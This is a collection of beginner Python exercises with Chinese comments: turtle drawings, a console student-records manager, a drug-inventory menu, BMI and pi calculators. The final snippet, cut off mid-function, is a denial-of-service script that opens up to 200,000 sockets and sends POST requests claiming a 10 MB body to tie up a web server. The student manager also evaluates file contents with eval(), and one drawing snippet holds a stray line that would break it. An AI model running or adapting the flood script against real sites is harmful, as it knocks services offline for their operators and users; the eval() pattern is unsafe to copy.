turtle.color('red', 'pink')  # 画笔颜色
turtle.pensize(3)  # 画笔粗细
turtle.speed(1)  # 描绘速度
# 初始化画笔起始坐标
move_pen_position(x=0, y=-180)  # 移动画笔位置
turtle.left(140)  # 向左旋转140度

turtle.begin_fill()  # 标记背景填充位置

#1-4画图和展示
turtle.forward(224)  # 向前移动画笔,长度为224
# 画爱心圆弧
hart_arc()  # 左侧圆弧
turtle.left(120)  # 调整画笔角度
hart_arc()  # 右侧圆弧
# 画心形直线( 右下方 )
turtle.forward(224)

turtle.end_fill()  # 标记背景填充结束位置

move_pen_position(x=70, y=160)  # 移动画笔位置
turtle.left(185)  # 向左旋转180度
turtle.circle(-110,185)  # 右侧圆弧
# 画心形直线( 右下方 )
#turtle.left(20)  # 向左旋转180度
turtle.forward(50)
move_pen_position(x=-180, y=-180)  # 移动画笔位置
turtle.left(180)  # 向左旋转140度

# 画心形直线( 左下方 )
turtle.forward(600)  # 向前移动画笔,长度为224

# 在心形中写上表白话语
move_pen_position(0,50)  # 表白语位置
turtle.hideturtle()  # 隐藏画笔
turtle.color('#CD5C5C', 'pink')  # 字体颜色
# font:设定字体、尺寸(电脑下存在的字体都可设置)  align:中心对齐
turtle.write(love, font=('Arial', 20, 'bold'), align="center")

# 签写署名和日期
if (signature != '') & (date != ''):
    turtle.color('red', 'pink')
    time.sleep(2)
    move_pen_position(220, -180)
    turtle.hideturtle()  # 隐藏画笔
    turtle.write(signature, font=('Arial', 20), align="center")
    move_pen_position(220, -220)
    turtle.hideturtle()  # 隐藏画笔
    turtle.write(date, font=('Arial', 20), align="center")

#1-5点击窗口关闭程序
window = turtle.Screen()
window.exitonclick()
 

 

 

 ------------------------------------------------------------------------------------

# 用上下键来控制走向
import turtle
t = turtle.Pen()
t.speed(0)
t.turtlesize(2,2,2)
def up():
    t.forward(50)
def left():
    t.left(90)
def right():
    t.right(90)
turtle.onkeypress(up, "Up")
turtle.onkeypress(left, "Left")
turtle.onkeypress(right, "Right")
turtle.listen()
--------------------------------------------------------------------------

import random
import turtle
t = turtle.Pen()
t.speed(0)
turtle.bgcolor("black")
colors = ["red", "blue", "yellow", "green", "orange", "purple", "white", "gray"]
def spiral(x,y):
    t.pencolor(random.choice(colors))
    size = random.randint(10,40)
    t.penup()
    t.setpos(x,y)
    t.pendown()
    for m in range(size):
        t.forward(m*2)
        t.left(91)
turtle.onscreenclick(spiral)

    
import random
import turtle
t = turtle.Pen()
t.speed(0)
t.hideturtle()
turtle.bgcolor("black")
def draw_smiley(x,y):
    t.penup()
    t.setpos(x,y)
    t.pendown()

    t.pencolor("yellow")
    t.fillcolor("yellow")
    t.begin_fill()
    t.circle(50)
    t.end_fill()

    # left eye
    t.setpos(x - 15, y + 60)
    t.fillcolor("blue")
    t.begin_fill()
    t.circle(10)
    t.end_fill()

    # right eye
    t.setpos(x + 15, y + 60)
    t.begin_fill()
    t.circle(10)
    t.end_fill()

    mouth
    t.setpos(x - 25, y + 40)
    t.pencolor("black")
    t.width(10)
    t.goto(x - 10, y + 20)
    t.goto(x + 10, y + 20)
    t.goto(x + 25, y + 40)
    t.width(1)

turtle.onscreenclick(draw_smiley)
 

-------------------------------------------------------------------------------

import os
 
#判断磁盘文件中该id的学生是否已经存在
#存在返回True,不存在返回False
def isId_exist(filename,stu_id):
    is_exist = False
    file = open(filename,'r')
    if os.path.getsize(filename):
        lst = file.readlines()  #读取的每行学生信息格式:{'id': '1', 'stu_name': 'hanrui', 'english': 1.0, 'python': 1.0, 'java': 1.0}
        for item in lst:
            stu = dict(eval(item))  #将字符串转为字典
            if stu['id'] == stu_id:
                is_exist = True
    return is_exist
 
#判断磁盘文件中该name的学生是否已经存在
#存在返回True,不存在返回False
def isName_exist(filename,stu_name):
    is_exist = False
    file = open(filename, 'r')
    if os.path.getsize(filename):
        lst = file.readlines()  # 读取的每行学生信息格式:{'id': '1', 'stu_name': 'hanrui', 'english': 1.0, 'python': 1.0, 'java': 1.0}
        for item in lst:
            stu = dict(eval(item))  # 将字符串转为字典
            if stu['stu_name'] == stu_name:
                is_exist = True
    return is_exist
 
#将学生信息写到磁盘文件中
def save(filename,string):
    with open(filename,'a') as  file:
        file.write(string+'\n')
 
'''
从控制台录入学生信息,并把他们保存到磁盘文件student.txt中
学生成绩包括:学生id,学生姓名,英语成绩,python成绩和java成绩
在student.txt中以字典格式存储
'''
def insert(filename):
    while True:
        stu_id = input('请输入学生ID:')
        # 学生id非空且学生id不存在时
        if stu_id.strip() == '':   # 或者if not stu_id,因为空字符串的布尔值为False
            print('学生ID不可为空')
            continue
        if not isId_exist(filename,stu_id):
            stu_name = input('请输入学生姓名:')
            while stu_name.strip() == '':
                stu_name = input('学生姓名不可为空,请重新输入学生姓名')

            stu_age = input('请输入学生年龄:')
            while stu_age.strip() == '':
                stu_age =input('学生年龄不能为空,请重新输入')
                
                
            stu_sex = input('请输入学生性别:')
            while stu_sex.strip() == '':
                stu_sex = input('学生性别不能为空,重新输入性别')
                
            stu_pro = input('请输入专业:')
            while stu_pro.strip() =='':
                 stu_pro = input('学生专业不可为空,重新输入')

            stu_day = input('请输入学生入学时间(yyyy-mm-dd):')
            while stu_day.strip() =='':
                stu_day = input('入学时间不能为空,请重新输入')

                 

                
            try:
                english = float(input('请输入该学生英语成绩:'))
                while english < 0 or english >100:
                    english = float(input('分数不在合理范围内,请重新输入该学生英语成绩:'))
                python = float(input('请输入该学生python成绩:'))
                while python < 0 or python > 100:
                    python = float(input('分数不在合理范围内,请重新输入该学生python成绩:'))
                java = float(input('请输入该学生java成绩:'))
                while java < 0 or java > 100:
                    java = float(input('分数不在合理范围内,请重新输入该学生java成绩:'))
            except ValueError:
                print('学生成绩必须是0-100之间的数字噢!')
            dict = {'id':stu_id,'stu_name':stu_name,'stu_age':stu_age,'stu_sex':stu_sex,'stu_pro':stu_pro,'english':english,'python':python,'java':java,'stu_day':stu_day}
            save(filename,str(dict))
            choice = input('是否继续录入?(输入y或n)')
            if choice == 'y' or choice == 'Y':
                continue
            else:
                print('成功录入学生信息')
                break
        #学生id存在,可以选择修改该学生信息,或者继续录入其他学生
        else:
            choice = input('该学生已经存在,是否修改该学生信息?(输入y或n)')
            if choice == 'y' or choice == 'Y':
                modify(filename)
            else:
                choice = input('是否继续录入学生信息?(输入y或n)')
                if choice == 'y' or choice == 'Y':
                    continue
                else:
                    break
 
'''
从控制台录入学生ID或姓名,到磁盘文件中找到对应的学生信息
'''
def search(filename):
    while True:
        if os.path.exists(filename):
            stu_search = input('请输入要查找的学生ID或学生姓名:')
            stu_find = []
            with open(filename,'r') as file:
                lst = file.readlines()
                flag = False
                for item in lst:
                    d = dict(eval(item))
                    if d['id'] == stu_search or d['stu_name'] == stu_search:
                        flag = True
                        stu_find.append(item)
                if flag:
                    show_lst(stu_find)
                else:
                    print('很抱歉,没有查询到该学生,无数据显示。')
                choice = input('是否继续查询(输入y或n)?')
                if choice == 'y' or choice == 'Y':
                    continue
                else:
                    break
        else:
            print('查询失败,学生信息文件不存在')
 
'''
从控制台录入学生ID,到磁盘文件中找到对应的学生信息,并将其删除
'''
def delete(filename,stu_id=None):
    while True:
        if stu_id == None:
            stu_id = input('请输入要删除的学生ID:')
        students = []
        if os.path.exists(filename) and isId_exist(filename, stu_id):
            with open(filename,'r',encoding='utf-8') as file:
                lst = file.readlines()
            for item in lst:
                stu = dict(eval(item))  # 将字符串转换为字典
                if stu['id'] == stu_id:
                    continue
                else:
                    students.append(stu)
            os.remove(filename)
            for stu in students:
                save(filename, str(stu))
            print('删除成功,已将ID为' + stu_id + '的学生信息删除')
        elif not isId_exist(filename, stu_id):
            print(f'删除失败,ID为{stu_id}的学生不存在。')
        elif not os.path.exists(filename):
            print('删除失败,学生信息文件不存在。')
 
        choice = input('是否继续删除学生信息?(输入y或n)')
        if choice =='y' or choice == 'Y':
            continue
        else:
            break
 
'''
从控制台录入学生ID,到磁盘文件中找到对应的学生信息,将其进行修改
'''
def modify(filename):
    while True:
        stu_id = input('请输入要修改的学生ID:')
        if os.path.exists(filename) and isId_exist(filename,stu_id):
            students = []
            with open(filename,'r') as file:
                lst = file.readlines()
            for item in lst:
                stu = dict(eval(item))
                if stu['id'] == stu_id:
                    new_id = input('输入修改后的学生ID(不修改请直接回车):')
                    if new_id == '':   #没有输入修改值,则默认不改变
                        new_id = stu['id']
                    new_name = input('输入修改后的学生姓名(不修改请直接回车):')
                    if new_name == '':
                        new_name = stu['stu_name']
                    try:
                        new_python = float(input('输入修改后的python成绩(不修改请直接回车):'))
                        if new_python == '':
                            new_python = stu['python']
                        while new_python < 0 or new_python > 100:
                            new_python = float(input('分数不在合理范围内,请重新输入该学生的python成绩:'))
                        new_english = float(input('输入修改后的english成绩(不修改请直接回车):'))
                        if new_english == '':
                            new_english = stu['english']
                        while new_english < 0 or new_english > 100:
                            new_english = float(input('分数不在合理范围内,请重新输入该学生的english成绩:'))
                        new_java = float(input('输入修改后的java成绩(不修改请直接回车):'))
                        if new_java == '':
                            new_java = stu['java']
                        while new_java < 0 or new_java > 100:
                            new_java = float(input('分数不在合理范围内,请重新输入该学生的java成绩:'))
                    except ValueError:
                        print('学生成绩必须是0-100之间的数字噢!')
                        continue
                    d = {'id':new_id,'stu_name':new_name,'english':new_english,'python':new_python,'java':new_java,}
                    students.append(str(d))
                else:
                    students.append(stu)
            os.remove(filename)
            for student in students:
                save(filename,str(student))
            print('修改成功,学生信息已更新')
        elif not isId_exist(filename, stu_id):
            print(f'修改失败,ID为{stu_id}的学生不存在。')
        elif not os.path.exists(filename):
            print('修改失败,学生信息文件不存在。')
        choice = input('是否继续修改其他学生信息?(输入y或n)')
        if choice =='y' or choice == 'Y':
            continue
        else:
            break
 
'''
主要对学生信息按英语成绩、Python成绩、java成绩、总成绩进行升序或降序排序
'''
def sort(filename):
    if os.path.exists(filename):
        with open(filename,'r',encoding='utf-8') as file:
            student_list = file.readlines()
        student_dict = []
        #读取文件中的每一行是以字符串形式,将每一行字符串转成字典重新添加到列表中
        for item in student_list:
            student_dict.append(dict(eval(item)))
 
        subject = input('按英语成绩排序请选1,按Python成绩排序请选2,按java成绩排序请选3,按总成绩排序请选4:')
        asc_or_desc  = input('升序请选1,降序请选2:')
        if asc_or_desc =='1':
            desc = False
        elif asc_or_desc == '2':
            desc = True
        else:
            print('输入有误,请重新输入')
            sort(filename)
        if subject == '1':
            student_dict.sort(key=lambda x: float(x['english']), reverse=desc)
        elif subject == '2':
            student_dict.sort(key=lambda x: float(x['python']), reverse=desc)
        elif subject == '3':
            student_dict.sort(key=lambda x: float(x['java']), reverse=desc)
        elif subject == '4':
            student_dict.sort(key=lambda x: float(x['english'])+float(x['python'])+float(x['java']), reverse=desc)
        else:
            print('输入有误,请重新输入')
            sort(filename)
        student_list.clear()
        for item in student_dict:
            student_list.append(str(item))
        show_lst(student_list)
    else:
        print('排序失败,学生信息文件不存在')
 
#统计学生信息文件中的学生总人数
def total(filename):
    if os.path.exists(filename):
        with open(filename,'r') as file:
            lst = file.readlines()
            if len(lst) == 0 :
                print('还没有录入学生信息,总共有0名同学')
                return
            else:
                print(f'总共有{len(lst)}名同学')
    else :
        print('学生信息文件不存在,无法统计')

 
#将列表中的学生信息显示
def show_lst(lst):
    # 定义标题显示格式
    format_title = '{:^6}\t{:^10}\t{:^6}\t{:^6}\t{:^6}\t{:^8}\t{:^10}\t{:^10}\t{:^8}{:^10}\t'
    # 定义内容显示格式
    format_content = '{:^6}\t{:^12}\t{:^8}\t{:^8}\t{:^8}\t{:^8}\t{:^6}\t{:^24}\t{:^0}{:^12}\t'
    if len(lst) != 0 :
        print(format_title.format('ID', '姓名', '年龄','性别','专业','英语成绩', 'Python成绩', 'Java成绩', '总成绩','入学时间'))
        for item in lst:
            d = dict(eval(item))
            print(format_content.format(d['id'],d['stu_name'],d['stu_age'],d['stu_sex'],d['stu_pro'],d['english'],d['python'],d['java'],d['english']+d['python']+d['java'],d['stu_day']))
    else:
        print('无数据显示')

        
 
#将学生信息文件student.txt中保存的所有学生信息获取并显示出来
def show_all(filename):
    if os.path.exists(filename):
        with open(filename, 'r') as file:
            lst = file.readlines()
        show_lst(lst)
    else:
        print('显示失败,学生信息文件不存在')
 
def menu():
    print('==============学生信息管理系统==============')
    print('------------------功能菜单------------------')
    print('\t1.录入学生信息\t\t2.查找学生信息')
    print('\t3.删除学生信息\t\t4.修改学生信息')
    print('\t5.排序\t\t\t\t6.统计总人数')
    print('\t7.显示所有学生信息\t8.退出系统')
    print('-------------------------------------------')
 
#主函数
def main(filename):
    while True:
        menu()  #显示菜单
        try:
            choice = int(input('请选择功能(输入数字1-8):'))
            if choice < 1 or choice > 8:
                print('输入错误,请重新输入。')
                continue
            elif choice == 1:
                insert(filename)
            elif choice == 2:
                search(filename)
            elif choice == 3:
                delete(filename)
            elif choice == 4:
                modify(filename)
            elif choice == 5:
                sort(filename)
            elif choice == 6:
                total(filename)
            elif choice == 7:
                show_all(filename)
            elif choice == 8:
                answer = input('确定退出系统吗(输入y或n):')
                if answer == 'y' or answer == 'Y':
                    print('~~~~~~~~~~~~~~感谢使用~~~~~~~~~~~~~~')
                    break
                else:
                    continue
        except ValueError:
            print('输入错误数字,请重新输入。')
 
 
if __name__ == '__main__':
    filename = 'student.txt'
    open(filename,'a')
    main(filename)
 

 

----------------------------------------------------------------------

import os


def save():
    file_handle = open('phone.txt', 'w')
    for phone in phone_list:
        s = '  '.join(phone)
        file_handle.write(s)
        file_handle.write('\n')


def read():
    rs = os.path.exists('phone.txt')
    if rs == True:
        file_handle = open('phone.txt', 'r')
        contents = file_handle.readlines()
        for x in contents:
            x = x.strip('\n')
            list = x.split('  ')
            phone_list.append(list)
        file_handle.close()


def search():
    if (len(phone_list) == 0):
        print('           (空)           ')
    for put in range(0, len(phone_list)):
        search_list = phone_list[put]
        name = search_list[0]
        print('编号:%s,药物名称:%s' % (put, name))


def search_all():
    if (len(phone_list) == 0):
        print('   (列表为空,无法查询!)   ')
        return
    for put in range(0, len(phone_list)):
        search_list = phone_list[put]
        name = search_list[0]
        price = search_list[1]
        stock = search_list[2]
        print('编号:%s,药物名称:%s,价格:%s,库存:%s' % (put, name, price, stock))


def search_buy():
    print('-----------------------------------------')
    put = int(input('请输入您要购买的产品编号:'))
    while put not in range(0, len(phone_list)):
        put = int(input('编号不存在,请重新输入:'))
    buy_list = phone_list[put]
    stock = buy_list[2]
    stock = int(stock)
    stock -= 1
    buy_list[2] = stock
    phone_list[put] = buy_list
    print('-----------------------------------------')
    print('购买的编号为%s的产品成功!' % put)
    if stock == 0:
        del phone_list[put]
    save()


def change():
    if len(phone_list) == 0:
        print('-----------------------------------------')
        print('没有产品信息,无法修改!')
    search_all()
    print('-----------------------------------------')
    put = int(input('请输入您要修改产品的编号:'))
    while put not in range(0, len(phone_list)):
        put = int(input('您输入的编号不存在,请重新输入:'))
    old_list = phone_list[put]
    name = old_list[0]
    price = old_list[1]
    stock = old_list[2]
    new_name = input('请输入新的药物名称(%s):' % name)
    new_price = input('请输入新的产品价格(%s):' % price)
    new_stock = input('请输入新的产品库存(%s):' % stock)
    phone_list[put] = [new_name, new_price, new_stock]
    print()
    save()


def add():
    print('-----------------------------------------')
    name = input('请输入您要添加的药物名称:')
    price = input('请输入该产品的价格:')
    stock = input('请输入该产品的库存:')
    # 将产品信息封装为一个小字典
    # phone = {'name':name, 'price':price, 'stock':stock}
    # phone_list.append(phone)
    phone_list.append([name, price, stock])
    print('添加产品成功!')
    save()


def delete():
    if len(phone_list) == 0:
        print('----------------------------')
        print('没有信息,无法删除!')
        return
    search_all()
    print('-----------------------------------------')
    put = int(input('请输入您要删除的产品编号:'))
    while put not in range(0, len(phone_list)):
        put = int(input('编号不存在,请重新输入:'))
    del phone_list[put]
    print('删除成功!')
    save()


def delete_all():
    phone_list.clear()
    print('*****************************************')
    print("******  所有产品信息已清空!  ******")
    save()


phone_list = []


read()


while True:
    print('-----------------------------------------')
    print('----------  1.查看所有药物信息   ----------')
    print('----------  2.更改产品库存信息   ----------')
    print('----------  3.移除产品库存信息   ----------')
    print('----------  4.退出程序          ----------')
    print('-----------------------------------------')
    num = int(input('请输入您要进行的操作:'))
    while num not in range(1,5):
        num = int(input('编号不存在,请重新输入:'))
    if num == 1:
        search()
        print('-----------------------------------------')
        print('1.选择产品编号查看详情')
        print('2.返回')
        print('-----------------------------------------')
        num_1 = int(input('请输入您要进行的操作:'))
        while num_1 not in range(1, 3):
            num_1 = int(input('编号不存在,请重新输入:'))
        if num_1 == 1:
            put = int(input('请选择查看详情的产品编号:'))
            while put not in range(0, len(phone_list)):
                put = int(input('编号不存在,请重新输入:'))

            search_list = phone_list[put]
            name = search_list[0]
            price = search_list[1]
            stock = search_list[2]
            print('编号:%s,药物名称:%s,价格:%s,库存:%s' % (put, name, price, stock))

            print('-----------------------------------------')
            print('1.购买')
            print('2.返回')
            print('-----------------------------------------')
            num_2 = int(input('请输入您要进行的操作:'))
            while num_2 not in range(1, 3):
                num_2 = int(input('编号不存在,请重新输入:'))
            if num_2 == 1:
                search_buy()
            else:
                continue
        else:
            continue

    elif num == 2:
        print('-----------------------------------------')
        print('1.添加新产品')
        print('2.修改原有产品')
        print('-----------------------------------------')
        num_3 = int(input('请输入您要进行的操作:'))
        while num_3 not in range(1, 3):
            num_3 = int(input('编号不存在,请重新输入:'))
        if num_3 == 1:
            add()
        else:
            search_all()
            print('-----------------------------------------')
            print('1.根据选择序号进行修改')
            print('2.返回上一级')
            print('-----------------------------------------')
            num_4 = int(input('请输入您要进行的操作:'))
            while num_4 not in range(1, 3):
                num_4 = int(input('编号不存在,请重新输入:'))
            if num_4 == 1:
                change()
            else:
                continue

    elif num == 3:
        print('-----------------------------------------')
        print('1.根据编号删除产品')
        print('2.删除所有产品')
        print('3.返回')
        print('-----------------------------------------')
        num_5 = int(input('请输入您要进行的操作:'))
        while num_5 not in range(1, 4):
            num_5 = int(input('编号不存在,请重新输入:'))
        if num_5 == 1:
            delete()
        elif num_5 == 2:
            sure = input('确定删除所有产品信息?y(确定)/n(取消)')
            if sure == 'y':
                delete_all()
            elif sure == 'n':
                print('-----------------------------------------')
                print('清空操作已取消!')
            else:
                print('输入有误,请重新输入')
        else:
            continue
    else:
        print('谢谢使用,再见!')
        break
 

-------------------------------------------------------------------- 

from turtle import *
def curvemove():
    for i in range(200):
        right(1)
        forward(1)
color('red','pink')        
begin_fill()
left(140)
forward(111.65)
curvemove()
left(120)
curvemove()
forward(111.65)
end_fill()
done()
 

 ---------------------------------------------------------------------------------------

from turtle import *
from random import *
from math import *
 
def tree(n, l):
    pd()
    t = cos(radians(heading() + 45)) / 8 + 0.25
    pencolor(t, t, t)
    pensize(n / 4)
    forward(l)
    if n > 0:
        b = random() * 15 + 10
        c = random() * 15 + 10
        d = l * (random() * 0.35 + 0.6)
        right(b)
        tree(n - 1, d)
        left(b + c)
        tree(n - 1, d)
        right(c)
    else:
        right(90)
        n = cos(radians(heading() - 45)) / 4 + 0.5
        pencolor(n, n, n)
        circle(2)
        left(90)
    pu()
    backward(l)
bgcolor(0.5, 0.5, 0.5)
ht()
speed(0)
tracer(0, 0)
left(90)
pu()
backward(300)
tree(13, 100)
done()

 

 -------------------------------------------------------------------------

import turtle as t
t.title('自动轨迹绘制')
t.setup(800,600,0,0)
t.pencolor("red")
t.pensize(5)

datals=[]
f=open("data.txt")
for line in f:
    line = line.replace("\n","")
    datals.append(list(map(eval,line.split(","))))
f.close()

for i in range(len(datals)):
    t.pencolor(datals[i][3],datals[i][4],datals[i][5])
    t.fd(datals[i][0])
    if datals[i][1]:
        t.right(datals[i][2])
    else:
        t.left(datals[i][2])
 

自动轨迹

----------------------------------------------------------------------

#calbmiv1.py
height,weight=eval(input("请输入身高(米)和体重\(千克)[逗号隔开]:"))
bmi=weight/pow(height,2)
print("BMI数值是:{:.2f}".format(bmi))
who=""
if bmi < 18.5:
    who = "偏瘦"
elif 18.5 <= bmi < 25:
    who = "正常"
elif 25 <= bmi <30:
    who = "偏胖"
else:
    who = "肥胖"
print("BMI指标为:国际‘{0}’".format(who))
-------------------------------------------------------------------------------

# 画指定的任意圆弧
def arc(sa,ea,x,y,r):#start angle,end angle,circle center,radius
  turtle.penup()
  turtle.goto(x,y)
  turtle.setheading(0)
  turtle.left(sa)
  turtle.fd(r)
  turtle.pendown()
  turtle.left(90)
  turtle.circle(r,(ea-sa))
  return turtle.position()
turtle.hideturtle()
#画脸
turtle.speed(5)
turtle.setup(900,600,200,200)
turtle.pensize(5)
turtle.right(90)
turtle.penup()
turtle.fd(100)
turtle.left(90)
turtle.pendown()
turtle.begin_fill()
turtle.pencolor("#B26A0F")#head side color
turtle.circle(150)
turtle.fillcolor("#F9E549")#face color
turtle.end_fill()
#画嘴
turtle.penup()
turtle.goto(77,20)
turtle.pencolor("#744702")
turtle.goto(0,50)
turtle.right(30)
turtle.fd(110)
turtle.right(90)
turtle.pendown()
turtle.begin_fill()
turtle.fillcolor("#925902")#mouth color
turtle.circle(-97,160)
turtle.goto(92,-3)
turtle.end_fill()
turtle.penup()
turtle.goto(77,-25)
#画牙齿
turtle.pencolor("white")
turtle.begin_fill()
turtle.fillcolor("white")
turtle.goto(77,-24)
turtle.goto(-81,29)
turtle.goto(-70,43)
turtle.goto(77,-8)
turtle.end_fill()
turtle.penup()
turtle.goto(0,-100)
turtle.setheading(0)
turtle.pendown()
#画左边眼泪
turtle.left(90)
turtle.penup()
turtle.fd(150)
turtle.right(60)
turtle.fd(-150)
turtle.pendown()
turtle.left(20)
turtle.pencolor("#155F84")#tear side color
turtle.fd(150)
turtle.right(180)
position1=turtle.position()
turtle.begin_fill()
turtle.fillcolor("#7EB0C8")#tear color
turtle.fd(150)
turtle.right(20)
turtle.left(270)
turtle.circle(-150,18)
turtle.right(52)
turtle.fd(110)
position2=turtle.position()
turtle.goto(-33,90)
turtle.end_fill()
#画右边眼泪
turtle.penup()
turtle.goto(0,0)
turtle.setheading(0)
turtle.left(90)
turtle.fd(50)
turtle.right(150)
turtle.fd(150)
turtle.left(150)
turtle.fd(100)
turtle.pendown()
turtle.begin_fill()
turtle.fd(-100)
turtle.fillcolor("#7EB0C8")#tear color
turtle.right(60)
turtle.circle(150,15)
turtle.left(45)
turtle.fd(66)
turtle.goto(77,20)
turtle.end_fill()
#画眼睛
turtle.penup()
turtle.pencolor("#6C4E00")#eye color
turtle.goto(-65,75)
turtle.setheading(0)
turtle.left(27)
turtle.fd(38)
turtle.pendown()
turtle.begin_fill()
turtle.fillcolor("#6C4E00")#eye color
turtle.left(90)
turtle.circle(38,86)
turtle.goto(position2[0],position2[1])
turtle.goto(position1[0],position1[1])
turtle.end_fill()
#画手
turtle.pencolor("#D57E18")#hand side color
turtle.begin_fill()
turtle.fillcolor("#EFBD3D")#hand color
#第一个手指
arc(-110,10,110,-40,30)
turtle.circle(300,35)
turtle.circle(13,120)
turtle.setheading(-50)
turtle.fd(20)
turtle.setheading(130)
#第二个手指
turtle.circle(200,15)
turtle.circle(12,180)
turtle.fd(40)
turtle.setheading(137)
#第三个手指
turtle.circle(200,16)
turtle.circle(12,160)
turtle.setheading(-35)
turtle.fd(45)
turtle.setheading(140)
#第四个手指
turtle.circle(200,13)
turtle.circle(11,160)
turtle.setheading(-35)
turtle.fd(40)
turtle.setheading(145)
#第五个手指
turtle.circle(200,9)
turtle.circle(10,180)
turtle.setheading(-31)
turtle.fd(50)
#画最后手腕的部分
turtle.setheading(-45)
turtle.pensize(7)
turtle.right(5)
turtle.circle(180,35)
turtle.end_fill()
turtle.begin_fill()
turtle.setheading(-77)
turtle.pensize(5)
turtle.fd(50)
turtle.left(-270)
turtle.fd(7)
turtle.pencolor("#EFBD3D")
turtle.circle(30,180)
turtle.end_fill()
#测试
# res=arc(70,220,90,50,300)
# print(res[0],res[1])
turtle.done()
#@project = facepalm
#@file = main
#@author = Maoliang Ran
#@create_time = 2018/8/28 22:57
import turtle
# 画指定的任意圆弧
def arc(sa,ea,x,y,r):#start angle,end angle,circle center,radius
  turtle.penup()
  turtle.goto(x,y)
  turtle.setheading(0)
  turtle.left(sa)
  turtle.fd(r)
  turtle.pendown()
  turtle.left(90)
  turtle.circle(r,(ea-sa))
  return turtle.position()
turtle.hideturtle()
#画脸
turtle.speed(5)
turtle.setup(900,600,200,200)
turtle.pensize(5)
turtle.right(90)
turtle.penup()
turtle.fd(100)
turtle.left(90)
turtle.pendown()
turtle.begin_fill()
turtle.pencolor("#B26A0F")#head side color
turtle.circle(150)
turtle.fillcolor("#F9E549")#face color
turtle.end_fill()
#画嘴
turtle.penup()
turtle.goto(77,20)
turtle.pencolor("#744702")
turtle.goto(0,50)
turtle.right(30)
turtle.fd(110)
turtle.right(90)
turtle.pendown()
turtle.begin_fill()
turtle.fillcolor("#925902")#mouth color
turtle.circle(-97,160)
turtle.goto(92,-3)
turtle.end_fill()
turtle.penup()
turtle.goto(77,-25)
#画牙齿
turtle.pencolor("white")
turtle.begin_fill()
turtle.fillcolor("white")
turtle.goto(77,-24)
turtle.goto(-81,29)
turtle.goto(-70,43)
turtle.goto(77,-8)
turtle.end_fill()
turtle.penup()
turtle.goto(0,-100)
turtle.setheading(0)
turtle.pendown()
#画左边眼泪
turtle.left(90)
turtle.penup()
turtle.fd(150)
turtle.right(60)
turtle.fd(-150)
turtle.pendown()
turtle.left(20)
turtle.pencolor("#155F84")#tear side color
turtle.fd(150)
turtle.right(180)
position1=turtle.position()
turtle.begin_fill()
turtle.fillcolor("#7EB0C8")#tear color
turtle.fd(150)
turtle.right(20)
turtle.left(270)
turtle.circle(-150,18)
turtle.right(52)
turtle.fd(110)
position2=turtle.position()
turtle.goto(-33,90)
turtle.end_fill()
#画右边眼泪
turtle.penup()
turtle.goto(0,0)
turtle.setheading(0)
turtle.left(90)
turtle.fd(50)
turtle.right(150)
turtle.fd(150)
turtle.left(150)
turtle.fd(100)
turtle.pendown()
turtle.begin_fill()
turtle.fd(-100)
turtle.fillcolor("#7EB0C8")#tear color
turtle.right(60)
turtle.circle(150,15)
turtle.left(45)
turtle.fd(66)
turtle.goto(77,20)
turtle.end_fill()
#画眼睛
turtle.penup()
turtle.pencolor("#6C4E00")#eye color
turtle.goto(-65,75)
turtle.setheading(0)
turtle.left(27)
turtle.fd(38)
turtle.pendown()
turtle.begin_fill()
turtle.fillcolor("#6C4E00")#eye color
turtle.left(90)
turtle.circle(38,86)
turtle.goto(position2[0],position2[1])
turtle.goto(position1[0],position1[1])
turtle.end_fill()
#画手
turtle.pencolor("#D57E18")#hand side color
turtle.begin_fill()
turtle.fillcolor("#EFBD3D")#hand color
#第一个手指
arc(-110,10,110,-40,30)
turtle.circle(300,35)
turtle.circle(13,120)
turtle.setheading(-50)
turtle.fd(20)
turtle.setheading(130)
#第二个手指
turtle.circle(200,15)
turtle.circle(12,180)
turtle.fd(40)
turtle.setheading(137)
#第三个手指
turtle.circle(200,16)
turtle.circle(12,160)
turtle.setheading(-35)
turtle.fd(45)
turtle.setheading(140)
#第四个手指
turtle.circle(200,13)
turtle.circle(11,160)
turtle.setheading(-35)
turtle.fd(40)
turtle.setheading(145)
#第五个手指
turtle.circle(200,9)
turtle.circle(10,180)
turtle.setheading(-31)
turtle.fd(50)
#画最后手腕的部分
turtle.setheading(-45)
turtle.pensize(7)
turtle.right(5)
turtle.circle(180,35)
turtle.end_fill()
turtle.begin_fill()
turtle.setheading(-77)
turtle.pensize(5)
turtle.fd(50)
turtle.left(-270)
turtle.fd(7)
turtle.pencolor("#EFBD3D")
turtle.circle(30,180)
turtle.end_fill()
#测试
# res=arc(70,220,90,50,300)
# print(res[0],res[1])
turtle.done()

 

 ---------------------------------------------------------------------------------

pi=0
N=100
for k in range(N):
    pi+=1/pow(16,k)*(4/(8*k+1)-2/(8*k+4)-1/(8*k+5)-1/(8*k+6))
print("圆周率的值是:{}".format(pi))
 

#cal2
from random import random
from time import perf_counter
DARTS=1000*1000
hits=0.0
start=perf_counter()
for i in range(1,DARTS+1):
    x,y=random(),random()
    dist=pow(x**2+y**2,0.5)
    if dist<=1.0:
        hits=hits+1
pi=4*(hits/DARTS)
print("圆周率的值是:{}".format(pi))
print("运行时间是:{:.5f}s".format(perf_counter()-start))
 

加油

-------------------------------------------------

User_input = input('输入:年-月-日')
Year = int(User_input.split('-')[0])   ##得到年份
Month = int(User_input.split('-')[1])  ##得到月份
Day = int(User_input.split('-')[2])    ##得到天

li = [31,28,31,30,31,30,31,31,30,31,30,31]   ##所有平年各个月份的天数
num = 0    ##记录天数
if ((Year % 4 == 0) and (Year % 100 != 0) or (Year % 400 == 0)):    ##当闰年时:
    li[1] = 29   ##将二月的天数改为29
for i in range(12):  ##遍历月份
    if Month > i + 1:   ##i从0开始,假如是5月的某一天,i循环到3停止,经过0-1-2-3四次循环,取4个月份即取1-2-3-4月的所有天
        num += li[i]   ##将1-4月总天数求和
    else:            ##退出if判断后,当下一次循环时,i=4,i+1不满足if的条件,进入else,将最后5月的第几天加入总天数中
        num += Day
        break
print('这一天是%d年的第%d天' %(Year,num))

 

------------------------------------------------------------


import socket
import time
import threading


MAX_CONN = 200000    # 最大socket链接量
PORT = 80            
HOST = ""
PAGE = ""

buf = ("POST %s HTTP/1.1\r\n"
       "Host: %s\r\n"
       "Content-Length: 10000000\r\n"
       "Cookie: dklkt_dos_test\r\n"
       "\r\n" % (PAGE, HOST))

# 创建socket链接列表,存储上20万个socket
socks = []
# 循环创建socket链接
def conn_thread():
    global socks
    for i in range(0, MAX_CONN):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((HOST, PORT))
            s.send(buf.encode("utf-8"))
            print("Send buf OK!,conn=%d\n" % i)
            socks.append(s)
        except Exception as ex:
